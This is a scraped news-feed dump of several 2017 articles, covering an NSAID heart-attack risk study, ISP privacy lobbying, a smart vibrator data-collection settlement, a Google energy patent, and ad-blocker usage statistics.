]]> https://briefnews.eu/ibuprofen-warning-regular-usage-for-just-one-week-increases-heart-attack-risk-2/feed/ 0 Ibuprofen WARNING: Regular usage for just ONE week 'increases heart attack risk' https://briefnews.eu/ibuprofen-warning-regular-usage-for-just-one-week-increases-heart-attack-risk/ https://briefnews.eu/ibuprofen-warning-regular-usage-for-just-one-week-increases-heart-attack-risk/#respond Wed, 10 May 2017 07:50:21 +0000 http://briefnews.eu/ibuprofen-warning-regular-usage-for-just-one-week-increases-heart-attack-risk/

IbuprofenGETTY

Regular use of ibuprofen can increase the risk of heart attacks

A major new analysis has unmasked the health hazard in the common anti-inflammatory drugs with evidence suggesting the danger exists even after one day.

The scientists say the over the counter and prescription pills including ibuprofen, diclofenac, celecoxib and naproxen should now be used with care and at the lowest possible dose.

Heart attack risk increases with age and is made worse by raised cholesterol. So the experts say older people especially now need to carefully weigh up the need to take anti-inflammatories with their GP.

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The latest strong note of caution over the group of medicines known as non-steroidal anti-inflammatory drugs [NSAIDs] has been urged following analysis of the health records of almost 500,000 people.

Sotiris Antoniou, of the Royal Pharmaceutical Society, said: “We now know all NSAIDs have the potential to . This paper suggests the larger the dose and the longer duration is associated with greater risk of harm.

“If you have any doubts or questions seek advice from a pharmacist or doctor. It’s a good rule of thumb with any painkiller to take the lowest dose that’s effective for the shortest possible time.”

IBUPROFENGETTY

New analysis has unmasked the health hazard in the common anti-inflammatory drugs

NSAIDs are a group of drugs taken by patients suffering joint problems, backache and arthritis.

People must be made aware of the risk

Dr Mike Knapton

They are frequently prescribed to relieve pain, reduce inflammation and quell fever.

Although they are used by millions each day the NHS said the drugs were not suitable for everyone and could “sometimes cause side-effects”.

The latest research, published in the British Medical Journal, suggests it is wrong for people to assume the over-the-counter and frequently prescribed painkillers are harmless and safe.

Scientists from the University of Montreal Hospital Research Centre based their findings on drug prescribing or dispensing data from 446,763 people in Britain, Canada and Finland 61,460 of whom had a heart attack.

The observational study found taking any dose for one week, one month or more than a month was associated with an increased risk.

Previous studies pointed to an increased risk of heart attack with particular NSAIDs, like rofecoxib, but the latest research suggests for all common NSAIDs the risk of heart attack starts as early as the first one to seven days of use.

The study also showed that use of NSAIDs in the first month at a high daily dose [celecoxib 200 mg], diclofenac [100 mg], ibuprofen [1,200 mg] and naproxen [750 mg] was associated with the greatest risk.

HEARTGETTY

Previous studies pointed to an increased risk of heart attack with particular NSAIDs, like rofecoxib

Overall, researchers found risk of a heart attack is increased by about 20 to 50 per cent with the use of commonly available NSAIDs. However, on average, the risk of a heart attack due to NSAIDs is only about 1 per cent per year.

Epidemiologist Michele Bally, who led the study, said: “Given the onset of risk occurred in the first week and appeared greatest in the first month of treatment with higher doses, prescribers should consider weighing the risks and benefits of NSAIDs before instituting treatment, particularly for higher doses. We studied more than 60,000 cases and our results were precise enough to conclude that the use of all common NSAIDs is associated with a heightened risk of heart attack.”

NHS guidance recommends adults and children over 12 can take 300-400mg of ibuprofen 3-4 times a day, increased to a maximum 2.4g daily if necessary. Packs of the drug are widely available in supermarkets for as little as 50p.

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Dr Ian Campbell, a family GP from Nottingham for more than 30 years, said: “This is really concerning. We have until now been attributing most heart attack risk to NSAIDs like diclofenac but this study suggests the risk of taking more commonly prescribed drugs such as naproxen are equally large. Additionally, the risk appears to be fairly immediate, even within one week, so previous advice to use the smallest dose for the shortest period appears to be of reduced significance. We now need to evaluate every prescription for NSAIDs in those at risk. Older people with additional risk factors need to weigh up the need for anti-inflammatory medicines very carefully, every time.”

Professor Helen Stokes-Lampard, chair of the Royal College of GPs, said: “NSAIDs can be effective in providing short term pain relief for some patients – what is important is any decision to prescribe is based on a patient’s individual circumstances and medical history and is regularly reviewed.”

PAINGETTY

NSAIDs are a group of drugs taken by patients suffering joint problems, backache and arthritis

Experts were not able to say what the potential underlying cause for increased heart attack is but previous research has suggested it might involve drugs blocking prostacyclin, a hormone that protects blood vessels and the kidney and thins the blood.

Dr Mike Knapton, associate medical director at the British Heart Foundation, said: “We already know these drugs increase your risk of having a heart attack. However, this large-scale study worryingly highlights just how quickly you become at risk of having a heart attack after starting NSAIDS. Whether you are being prescribed painkillers like ibuprofen, or buying them over the counter, people must be made aware of the risk and alternative medication should be considered where appropriate.”

Kevin McConway, emeritus professor of applied statistics at The Open University said: “This new study has helped persuade me that there is probably a real association between taking these painkillers and heart attacks.”

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]]> https://briefnews.eu/ibuprofen-warning-regular-usage-for-just-one-week-increases-heart-attack-risk/feed/ 0 ISPs say your Web browsing and app usage history isn’t “sensitive” https://briefnews.eu/isps-say-your-web-browsing-and-app-usage-history-isnt-sensitive/ https://briefnews.eu/isps-say-your-web-browsing-and-app-usage-history-isnt-sensitive/#respond Sat, 18 Mar 2017 07:48:35 +0000 http://briefnews.eu/isps-say-your-web-browsing-and-app-usage-history-isnt-sensitive/

Enlarge (credit: Getty Images | KrulUA)

ISPs that want the federal government to eliminate broadband privacy rules say that your Web browsing and app usage data should not be classified as “sensitive” information.

“Web browsing and app usage history are not ‘sensitive information,'” CTIA said in a filing with the Federal Communications Commission yesterday. CTIA is the main lobbyist group representing mobile broadband providers such as AT&T, Verizon Wireless, T-Mobile USA, and Sprint.

The FCC rules passed during the Obama administration require ISPs to get opt-in consent from consumers before sharing sensitive customer information with advertisers and other third parties. The FCC defined Web browsing history and app usage history as sensitive information, along with other categories such as geo-location data, financial and health information, and the content of communications. If the rules are overturned, ISPs would be able to sell this kind of customer information to advertisers.

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]]> https://briefnews.eu/isps-say-your-web-browsing-and-app-usage-history-isnt-sensitive/feed/ 0 Sex toy espionage: Vibrator maker to pay out $3mn for tracking customer usage https://briefnews.eu/sex-toy-espionage-vibrator-maker-to-pay-out-3mn-for-tracking-customer-usage/ https://briefnews.eu/sex-toy-espionage-vibrator-maker-to-pay-out-3mn-for-tracking-customer-usage/#respond Tue, 14 Mar 2017 14:26:47 +0000 http://briefnews.eu/sex-toy-espionage-vibrator-maker-to-pay-out-3mn-for-tracking-customer-usage/

A Canadian sex-toy manufacturer has agreed to pay US$ 3 million (CAD$ 4 million) to customers for collecting data relating to their sexual habits without their consent.

The settlement is the result of a class action lawsuit filed against Standard Innovation, the company behind the We-Vibe 4 Plus vibrator, last September in Illinois by a Chicago area plaintiff who claimed the company gathered data on customers, including app settings.

READ MORE: ‘Smart sex toys’ company to settle lawsuit over gathering customer’s data

Standard Innovation will have to pay up to US$ 7400 to each customer who used the We-Vibe 4 Plus app, while those who purchased the sex toy but didn’t use the app will be entitled to US$ 148.

The bluetooth enabled vibrator allows the sex-toy to be controlled remotely and is described on its website as enabling couples to “connect in new, exciting ways — whether they’re in the same room or on a different continent. Push play.”

What was not advertised, however, was the fact that the Canadian company collected intimate personal data on customers without their knowledge. The collected data was sent back to Standard Innovation, informing the company about how often the devices were used and for how long, as well as the device’s temperature and vibration intensity.

The device was also vulnerable to hacking meaning that an unknown entity could remotely activate the device once within the bluetooth range. Security concerns about We-Vibe 4 were first revealed at the DEF CON hacking conference in Las Vegas last year.

At the conference, New Zealand based hackers ‘Goldfisk’ and ‘Follower’ argued that an unwanted takeover of the device could potentially result in a sexual assault.

“We are pleased to have reached a fair and reasonable settlement in this matter,” the company said in a statement to Fortune. “At Standard Innovation we take customer privacy and data security seriously. We have enhanced our privacy notice, increased app security, provided customers more choice in the data they share, and we continue to work with leading privacy and security experts to enhance the app.”

Whether customers will be willing to consensually share their intimate data with the company in the future has yet to be determined.

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]]> https://briefnews.eu/sex-toy-espionage-vibrator-maker-to-pay-out-3mn-for-tracking-customer-usage/feed/ 0 Google patents an “energy manager” that tracks and controls electricity usage https://briefnews.eu/google-patents-an-energy-manager-that-tracks-and-controls-electricity-usage/ https://briefnews.eu/google-patents-an-energy-manager-that-tracks-and-controls-electricity-usage/#respond Thu, 02 Mar 2017 23:46:18 +0000 http://briefnews.eu/google-patents-an-energy-manager-that-tracks-and-controls-electricity-usage/ Your home could soon be getting a healthy dose of intuition. On Thursday, Google filed a patent for a system that would provide “intelligent temperature management based on energy usage profiles and outside weather conditions.”

As our homes become smarter and smarter, they are being exposed to an increasing number of information sources, which in turn create their own feedback loops. Google is hoping to add to that list of sources the outside environment as well as individual devices’ energy usage. The data provided by these two factors could then be used to tell customers how best to save energy in their homes, allowing for more efficient energy management.

More: The Nest Smart Thermostat was just awarded an Energy Star by the EPA

“Consumers experiment with different ways of reducing household energy usage,” the patent notes. “For example, consumers may turn off air conditioning during certain parts of the day,” or “use measuring devices to calculate the energy usage rate of a particular device.” But as it stands, it’s difficult to actually determine how much power certain devices are really using, and therefore, how best to save energy (and by extension, save some money). After all, do you really know what it means when someone tells you that you’re using two kilowatts per hour? No? Neither do we.

But Google wants to help us all better understand our energy footprint by linking devices to one master system of sorts. The patent describes “accessing an energy management policy for a plurality of devices … wherein the devices are coupled with a first structure.”

In essence, Google’s proposed device would create an energy usage rule for any given device, then monitor its actual energy usage. Based on a comparison between the energy usage rule and the observed data, the device would be able to “generate an instruction to modify an energy usage profile,” giving users more exacting instructions on what to do in order to cut back on their electric bill.

While this is nothing more than a patent for now, it is certainly a concept worth keeping your eyes on.

Digital Trends

]]> https://briefnews.eu/google-patents-an-energy-manager-that-tracks-and-controls-electricity-usage/feed/ 0 Researchers studying usage, safety of cannabis oil for children with epilepsy https://briefnews.eu/researchers-studying-usage-safety-of-cannabis-oil-for-children-with-epilepsy/ https://briefnews.eu/researchers-studying-usage-safety-of-cannabis-oil-for-children-with-epilepsy/#respond Fri, 03 Feb 2017 01:35:16 +0000 http://briefnews.eu/researchers-studying-usage-safety-of-cannabis-oil-for-children-with-epilepsy/ Cannimed

The lead researchers of a cannabidiol study joined CBC Radio’s Afternoon Edition to discuss the study and what they know so far, regarding usage and safety.

CBC | Health News

]]> https://briefnews.eu/researchers-studying-usage-safety-of-cannabis-oil-for-children-with-epilepsy/feed/ 0 Ad blocker usage is up 30% — and a popular method publishers use to thwart it isn’t working https://briefnews.eu/ad-blocker-usage-is-up-30-and-a-popular-method-publishers-use-to-thwart-it-isnt-working/ https://briefnews.eu/ad-blocker-usage-is-up-30-and-a-popular-method-publishers-use-to-thwart-it-isnt-working/#respond Wed, 01 Feb 2017 00:50:19 +0000 http://briefnews.eu/ad-blocker-usage-is-up-30-and-a-popular-method-publishers-use-to-thwart-it-isnt-working/ Ad blocker usage surged 30% in 2016, according to a new report from PageFair, a company that helps publishers regain revenue lost to the software.

There were 615 million devices blocking ads worldwide by the end of 2016, 62% (308 million) of those mobile. Desktop ad blocker usage grew 17% year-on-year to 236 million.

ad blockingPageFair

The largest geographical driver of mobile ad blocker use has been in the Asia-Pacific, where 94% of mobile ad blocking takes place.

There hasn’t yet been mass adoption of a mobile ad blocking app in North America or Europe yet, but PageFair predicts mobile ad blocking would accelerate in those regions if device manufacturers or distributors began to pre-configure ad blocking software as standard.

ad blockerPageFairSecurity was the main reason cited for downloading an ad blocker among consumers polled in the US for the report. 30% of those surveyed said virus and malware concerns drove them to download an ad blocker.

The next most-cited reason for getting ad blocker software was “interruption” (29%), according to the report.

Dr Johnny Ryan, PageFair’s head of ecosystem, said in the company’s previous reports, privacy has been the primary motivation to downloading an ad blocker.

Ryan told Business Insider: “In 2014 we were dealing with early adopter users of ad blocking. These people really care and understand about the real problems of privacy and data leakage in ad tech. I think what happened is the industry’s lack of an approach or interest in privacy let the ad block genie out of the bottle.”

He continued: “But now [ad blocker usage] has grown to a broader demographic for whom [an ad blocker] is closer to just a remote control. The genie is out of the bottle and if the industry had taken privacy and data protection seriously this might not have happened.”

PageFair’s previous reports and those of different organizations found there was a significantly higher usage rate of ad blockers among males. While it’s still true that more men use ad blockers than women, the report showed that the ad blocking demographics have broadened out beyond solely young techies:

ad block demographicPageFair

The failure of ad block walls

The study also looked into how publishers are tacking the growing use of ad blocking software.

PageFair noted that 90% of ad blocker users surveyed have encountered an “ad block wall” that blocked them from viewing content unless they disabled their ad blocker.

However, almost three-quarters (74%) of those users said they simply left those websites rather than performing the steps required to whitelist them.

Ryan told Business Insider he wasn’t surprised to see those sorts of figures.

He said: “It’s very straightforward: There are not all that many publishers who have such exclusive content that they feel confident in establishing a paywall. By the same rationale, there cannot be that many publishers who have the confidence in establishing an ad block wall either. There are some publishers who claim, maybe rightly, 40% to 50% conversion … [but there are] publishers who are turning away 50%, 60%, 70% of their traffic when they ask people to switch off their ad blocker. That’s not sustainable for most the people we want to serve.”

The alternative, Ryan says, is for publishers to listen to their audience about what’s making them block ads, fix the problems, and serve them the solutions.

It’s something Facebook did last year when it tweaked the technology to stop ad blocking software from working on its desktop website. The social network surveyed users, updated its ads preference tools to give users more control over the types of ads they were being served, then began circumventing the ad blockers because it believed it had created a better ad experience. On Facebook’s Q3 earnings call, the company said desktop ad revenue grew 18% year-on-year in the quarter it began blocking the ad blockers.

PageFair has skin in the game here: It makes its money by helping publishers use technology to recoup money lost to ad blockers and find different ways to make revenue from those users. Often that’s by using the Facebook method of serving ads — or an ad-light experience (77% of ad blocker users it surveyed said they found some ad formats permissible) — to ad blocker users. But Ryan made clear that if a publisher asks PageFair to help it set up an ad block wall, PageFair would oblige too.

The report ends with a fun factlet: “Adblock users are more educated.” PageFair says 45% of ad blocker users it surveyed had attained a bachelor’s degree or higher versus 30% across the US Census.

PageFair surveyed 4,626 users through a Google Consumer Survey. The company also used data from StatCounter, Internet Live Stats, eMarketer, and the US Census Bureau. You can read the full report here.

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